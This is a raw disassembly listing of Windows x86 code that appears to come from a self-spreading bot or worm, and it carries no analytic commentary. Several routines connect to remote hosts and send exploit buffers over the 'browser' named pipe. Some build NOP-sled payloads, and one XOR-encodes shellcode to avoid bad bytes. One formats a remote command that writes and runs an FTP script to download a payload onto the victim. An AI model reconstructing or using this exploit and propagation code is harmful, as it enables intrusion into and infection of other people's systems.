mov ecx, 1F4h
lea esi, [esp+78h+arg_90]
lea edi, [esp+78h+arg_14FC]
lea eax, [esp+78h+arg_1480]
rep movsd
mov ecx, 24h
mov esi, offset off_4463CC
lea edi, [esp+78h+arg_1CCC]
push 0CF8h
push eax
push ebp
rep movsd
mov [esp+84h+arg_2177], 0
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425C4C: ; CODE XREF: sub_4257F0+3E6j
; sub_4257F0+44Dj
push 12Ch
nop
call near ptr 2830000h
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+164h+arg_8140]
mov edi, esp
rep movsd
movsw
call sub_4013BB
add esp, 0BCh
test al, al
pop edi
pop esi
pop ebp
pop ebx
setnz al
add esp, 81D8h
retn
sub_4257F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 130h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425DC0: ; CODE XREF: ___:00401DCAj
sub esp, 650h
xor eax, eax
push ebx
mov [esp+4], eax
push esi
mov [esp+0Ch], eax
lea ecx, [esp+660h]
push edi
mov [esp+14h], eax
push ecx
mov [esp+1Ch], eax
mov word ptr [esp+10h], 2
nop
call near ptr 71AB2BF4h
mov edx, [esp+6FEh]
mov [esp+10h], eax
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [esp+1Ah], ax
call near ptr 71AB3B91h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_425E26
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E26: ; CODE XREF: ___:00425E18j
lea eax, [esp+0Ch]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_425E45
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E45: ; CODE XREF: ___:00425E37j
mov edi, dword_511CA0
push 0
push 89h
push offset dword_445FC0
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425E6B
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E6B: ; CODE XREF: ___:00425E5Dj
mov esi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 640h
push ecx
push ebx
call esi ; recv
push 0
push 0A8h
push offset dword_44604C
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425EA0
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EA0: ; CODE XREF: ___:00425E92j
push 0
lea edx, [esp+20h]
push 640h
push edx
push ebx
call esi ; recv
push 0
push 0DEh
push offset dword_4460F8
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425ECF
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425ECF: ; CODE XREF: ___:00425EC1j
push 0
lea eax, [esp+20h]
push 640h
push eax
push ebx
call esi ; recv
movsx eax, byte ptr [esp+60h]
sub eax, 30h
jz short loc_425EFB
dec eax
jz short loc_425EF7
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EF7: ; CODE XREF: ___:00425EE9j
push 0
jmp short loc_425F2E
; ---------------------------------------------------------------------------
loc_425EFB: ; CODE XREF: ___:00425EE6j
push 2
push ebx
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
test al, al
jz short loc_425F2C
mov esi, 1
jmp short loc_425F5A
; ---------------------------------------------------------------------------
loc_425F2C: ; CODE XREF: ___:00425F23j
push 1
loc_425F2E: ; CODE XREF: ___:00425EF9j
push ebx
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
neg al
sbb eax, eax
neg eax
mov esi, eax
loc_425F5A: ; CODE XREF: ___:00425F2Aj
push ebx
nop
call near ptr 71AB9639h
test esi, esi
jz short loc_425F88
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+71Ch]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425F88: ; CODE XREF: ___:00425F63j
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426020: ; CODE XREF: ___:00401E51j
push edi
push 0C8h
nop
call near ptr 2830000h
mov edx, [esp+0Ch]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+8]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
call near ptr 71AB428Ah
nop
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426070 proc near ; CODE XREF: sub_401A55j
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = byte ptr -590h
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_BC = dword ptr 0C0h
sub esp, 5A0h
xor eax, eax
push ebx
mov [esp+5A4h+var_5A0], eax
push ebp
mov [esp+5A8h+var_59C], eax
push esi
lea ecx, [esp+5ACh+arg_4]
push edi
mov [esp+5B0h+var_598], eax
push ecx
mov [esp+5B4h+var_594], eax
mov word ptr [esp+5B4h+var_5A0], 2
nop
call near ptr 71AB2BF4h
mov edx, [esp+5B0h+arg_BC]
mov [esp+5B0h+var_59C], eax
push edx
nop
call near ptr 71AB2B66h
push 0
push 1
push 2
mov word ptr [esp+5BCh+var_5A0+2], ax
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4260D8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260D8: ; CODE XREF: sub_426070+59j
lea eax, [esp+5B0h+var_5A0]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4260F8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260F8: ; CODE XREF: sub_426070+79j
push 0
lea ecx, [esp+5B4h+var_400]
push 400h
push ecx
push esi
nop
call near ptr 71AB615Ah
mov ecx, offset byte_449521
call sub_4017EE
push eax
mov ecx, offset byte_449521
call sub_4017EE
mov edx, dword_44965F
push eax
mov eax, [esp+5B8h+arg_0]
push edx
push eax
call sub_401E10
mov ebx, dword_511AE4
add esp, 4
lea ecx, [esp+5BCh+var_590]
push eax
push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"...
push 190h
push ecx
call ebx ; _snprintf
lea edi, [esp+5CCh+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 1Ch
repne scasb
mov ebp, dword_511CA0
push 0
not ecx
dec ecx
lea edx, [esp+5B4h+var_590]
push ecx
push edx
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jnz short loc_426187
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_426187: ; CODE XREF: sub_426070+108j
push 1F4h
call near ptr 2830000h
nop
mov ecx, offset byte_449521
call sub_4017EE
push eax
push offset aS_3 ; "%s\r\n"
lea eax, [esp+5B8h+var_590]
push 190h
push eax
call ebx ; _snprintf
lea edi, [esp+5C0h+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp+5B8h+var_590]
push ecx
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4261DC
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4261DC: ; CODE XREF: sub_426070+15Dj
push 0
lea edx, [esp+5B4h+var_400]
push 400h
push edx
push esi
nop
call near ptr 71AB615Ah
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 5A0h
retn
sub_426070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426280: ; CODE XREF: ___:00402199j
mov eax, 1E88h
call sub_437B30
push esi
push edi
mov ecx, 20Ch
xor eax, eax
lea edi, [esp+238h]
mov esi, offset dword_4469BC
rep stosd
mov ecx, 0FAh
mov eax, 90909090h
lea edi, [esp+0A68h]
mov edx, dword_51011C
rep stosd
mov ecx, 56h
lea edi, [esp+0CDEh]
rep movsd
mov eax, dword_446C34
mov ecx, 10h
movsw
movsb
lea edi, [esp+0E50h]
mov esi, offset dword_44696C
rep stosd
mov eax, dword_446C2C
mov ecx, 0Bh
lea edi, [esp+238h]
rep movsd
mov ecx, 10Ah
lea esi, [esp+0A68h]
lea edi, [esp+270h]
mov [esp+264h], eax
mov [esp+268h], edx
mov [esp+26Ch], eax
rep movsd
mov ecx, 7
mov esi, offset dword_44699C
lea edi, [esp+69Ch]
mov ax, word_446C28
mov [esp+698h], edx
lea edx, [esp+30h]
rep movsd
mov esi, dword_511AE4
lea ecx, [esp+1E98h]
push ecx
push offset dword_446908
push 104h
push edx
mov [esp+6BCh], ax
call esi ; _snprintf
add esp, 10h
xor edi, edi
lea ecx, [esp+10h]
lea eax, [esp+30h]
push edi
push offset byte_448F40
push offset byte_448F40
push ecx
mov [esp+24h], edi
mov [esp+30h], edi
mov [esp+3Ch], edi
mov [esp+34h], eax
call sub_4382AA
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_4263A5
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263A5: ; CODE XREF: ___:00426397j
lea edx, [esp+1E98h]
lea eax, [esp+134h]
push edx
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push 104h
push eax
call esi ; _snprintf
add esp, 10h
lea ecx, [esp+134h]
push edi
push edi
push 3
push edi
push edi
push 0C0000000h
push ecx
nop
call near ptr 2850440h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4263EF
or eax, eax
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263EF: ; CODE XREF: ___:004263E2j
lea edx, [esp+0Ch]
push edi
push edx
lea eax, [esp+0E98h]
push 1000h
push eax
push 49h
push offset dword_446920
push esi
call near ptr 2780000h
nop
test eax, eax
jnz short loc_426427
push esi
nop
call near ptr 2830910h
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426427: ; CODE XREF: ___:00426412j
lea ecx, [esp+8]
push edi
push ecx
lea edx, [esp+240h]
push 830h
push edx
push esi
nop
call near ptr 27E0000h
test eax, eax
jnz short loc_426458
push esi
call near ptr 2830910h
nop
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426458: ; CODE XREF: ___:00426443j
push 115Ch
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+1F54h]
mov edi, esp
rep movsd
movsw
call sub_401A55
add esp, 0C0h
neg al
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
db 90h
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426520 proc near ; CODE XREF: sub_4013CAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_426520 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_401794j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013CA
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_426585
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426585: ; CODE XREF: sub_426560+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_446C6C
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_446CD0, ecx
lea ecx, [eax+1]
mov dword_446CF1, ecx
lea ecx, [eax+17h]
mov dword_446CE9, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_446CFF, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_446CE0
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_446CE4
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_446CE5
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_446CE9
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_446CED
mov [ecx+8], esi
mov esi, dword_446CF1
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_446CF5
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266D0 proc near ; CODE XREF: sub_402180j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013CA
push eax
call sub_4017C6
add esp, 0Ch
retn
sub_4266D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426700: ; CODE XREF: ___:0040173Fj
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402180
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_426723
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426723: ; CODE XREF: ___:0042671Bj
cmp eax, 0FFFFh
jbe short loc_426730
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426730: ; CODE XREF: ___:00426728j
push esi
push edi
push ebx
call sub_4013CA
add eax, 101h
push eax
nop
call near ptr 77C2C407h
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013CA
add esp, 8
push eax
push esi
call sub_401794
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B8B
push esi
mov edi, eax
nop
call near ptr 77C2C21Bh
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267A0 proc near ; CODE XREF: sub_4017C6j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4267A9
inc ecx
loc_4267A9: ; CODE XREF: sub_4267A0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4267A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267D0 proc near ; CODE XREF: sub_401B8Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4267E8
cmp bl, 0Dh
jz short loc_4267E8
cmp bl, 5Ch
jz short loc_4267E8
test bl, bl
jnz short loc_4267E9
loc_4267E8: ; CODE XREF: sub_4267D0+8j
; sub_4267D0+Dj ...
inc ebx
loc_4267E9: ; CODE XREF: sub_4267D0+16j
cmp ebx, 0FFh
jbe short loc_42680C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_426806
cmp al, 0Dh
jz short loc_426806
cmp al, 5Ch
jz short loc_426806
test al, al
jnz short loc_42680C
loc_426806: ; CODE XREF: sub_4267D0+28j
; sub_4267D0+2Cj ...
add ebx, 100h
loc_42680C: ; CODE XREF: sub_4267D0+1Fj
; sub_4267D0+34j
push ebx
call sub_4017C6
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_426825
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426825: ; CODE XREF: sub_4267D0+4Fj
cmp eax, 0FFFFh
jbe short loc_426830
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426830: ; CODE XREF: sub_4267D0+5Aj
mov al, byte_510124
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_426860
loc_426841: ; CODE XREF: sub_4267D0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_426857
cmp cl, 0Ah
jz short loc_426857
cmp cl, 0Dh
jz short loc_426857
cmp cl, 5Ch
jnz short loc_42685B
loc_426857: ; CODE XREF: sub_4267D0+76j
; sub_4267D0+7Bj ...
inc al
xor edx, edx
loc_42685B: ; CODE XREF: sub_4267D0+85j
inc edx
cmp edx, ebx
jb short loc_426841
loc_426860: ; CODE XREF: sub_4267D0+6Fj
cmp ebx, 0FFh
push edi
mov byte_510124, al
ja short loc_426893
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C54
mov edi, edx
mov byte_446C61, bl
mov byte_446C65, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4268B9
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_4267D0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C3C
mov edi, edx
mov word_446C4A, bx
mov byte_446C4F, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4268B9: ; CODE XREF: sub_4267D0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4268CF
add esi, edx
loc_4268C2: ; CODE XREF: sub_4267D0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4268C2
loc_4268CF: ; CODE XREF: sub_4267D0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4267D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426930 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_44B1AF[eax*4], ecx
mov dword_44B19B[eax*4], ecx
mov dword_44B19F[eax*4], ecx
mov dword_44B1A3[eax*4], ecx
mov dword_44B1A7[eax*4], ecx
mov dword_44B1AB[eax*4], ecx
mov byte_44AF9B[eax*4], cl
mov byte_44B1B3[eax*4], cl
retn
sub_426930 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_426A57
cmp ecx, 400h
jge loc_426A57
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_44B1AF[esi*4]
push eax
call near ptr 2770AF3h
nop
cmp dword_44B1AF[esi*4], ebx
jz short loc_4269E8
mov ebp, 1
loc_4269E8: ; CODE XREF: sub_4269A0+41j
mov dword_44B1AF[esi*4], ebx
mov dword_44B19B[esi*4], ebx
mov dword_44B19F[esi*4], ebx
mov eax, dword_44B1A3[esi*4]
cmp eax, ebx
jbe short loc_426A11
push eax
call sub_401C80
add esp, 4
loc_426A11: ; CODE XREF: sub_4269A0+66j
mov edi, dword_511C9C
mov dword_44B1A3[esi*4], ebx
mov byte_44AF9B[esi*4], bl
mov byte_44B1B3[esi*4], bl
mov ecx, dword_44B1A7[esi*4]
push ecx
call edi ; closesocket
mov dword_44B1A7[esi*4], ebx
mov edx, dword_44B1AB[esi*4]
lea esi, ds:44B1ABh[esi*4]
push edx
call edi ; closesocket
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426A57: ; CODE XREF: sub_4269A0+Cj
; sub_4269A0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A90 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_44B19F
loc_426AA1: ; CODE XREF: sub_426A90+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_426AD5
test ebx, ebx
jle short loc_426AC7
cmp [esi], ebx
jz short loc_426AB8
cmp edi, ebx
jnz short loc_426AD5
loc_426AB8: ; CODE XREF: sub_426A90+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
jmp short loc_426AD4
; ---------------------------------------------------------------------------
loc_426AC7: ; CODE XREF: sub_426A90+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
loc_426AD4: ; CODE XREF: sub_426A90+35j
inc ebp
loc_426AD5: ; CODE XREF: sub_426A90+1Aj
; sub_426A90+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D819F
jl short loc_426AA1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_426A90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B10 proc near ; CODE XREF: sub_401C80j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
nop
call near ptr 2700000h
mov esi, eax
test esi, esi
jz short loc_426B45
push 0
push esi
nop
call near ptr 27901F7h
test eax, eax
jnz short loc_426B45
push esi
xor edi, edi
nop
call near ptr 2830910h
loc_426B45: ; CODE XREF: sub_426B10+1Dj
; sub_426B10+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_426B10 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B60 proc near ; CODE XREF: sub_40148Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_44B19B
loc_426B6B: ; CODE XREF: sub_426B60+1Cj
cmp [ecx], edx
jnz short loc_426B70
inc eax
loc_426B70: ; CODE XREF: sub_426B60+Dj
add ecx, 234h
cmp ecx, offset byte_4D819B
jl short loc_426B6B
retn
sub_426B60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B90 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_44B19B
loc_426B9E: ; CODE XREF: sub_426B90+1Fj
cmp [ecx], edx
jz short loc_426BB3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D819B
jl short loc_426B9E
mov eax, esi
loc_426BB3: ; CODE XREF: sub_426B90+10j
pop esi
retn
sub_426B90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426BD0 proc near ; CODE XREF: sub_401BEAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_44AF9B
loc_426BD8: ; CODE XREF: sub_426BD0+18j
cmp byte ptr [eax], 0
jz short loc_426BEE
add eax, 234h
inc edi
cmp eax, offset dword_4D7F9B
jl short loc_426BD8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_426BEE: ; CODE XREF: sub_426BD0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:44AF9Bh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
nop
call near ptr 77C47A90h
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_426BD0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426C70 proc near ; CODE XREF: sub_401613j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426C70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_426C70 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+28h]
push 4
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+28h]
push 4
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+2Ch]
push 4
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+48h]
push 4
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426EC0: ; CODE XREF: ___:loc_401B81j
push 0FFFFFFFFh
push offset loc_43C9C4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebx, ecx
push edi
lea ebp, [esi+7Eh]
lea ecx, [ebx+60h]
mov [esp+54h], ebp
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_427058
push 95h
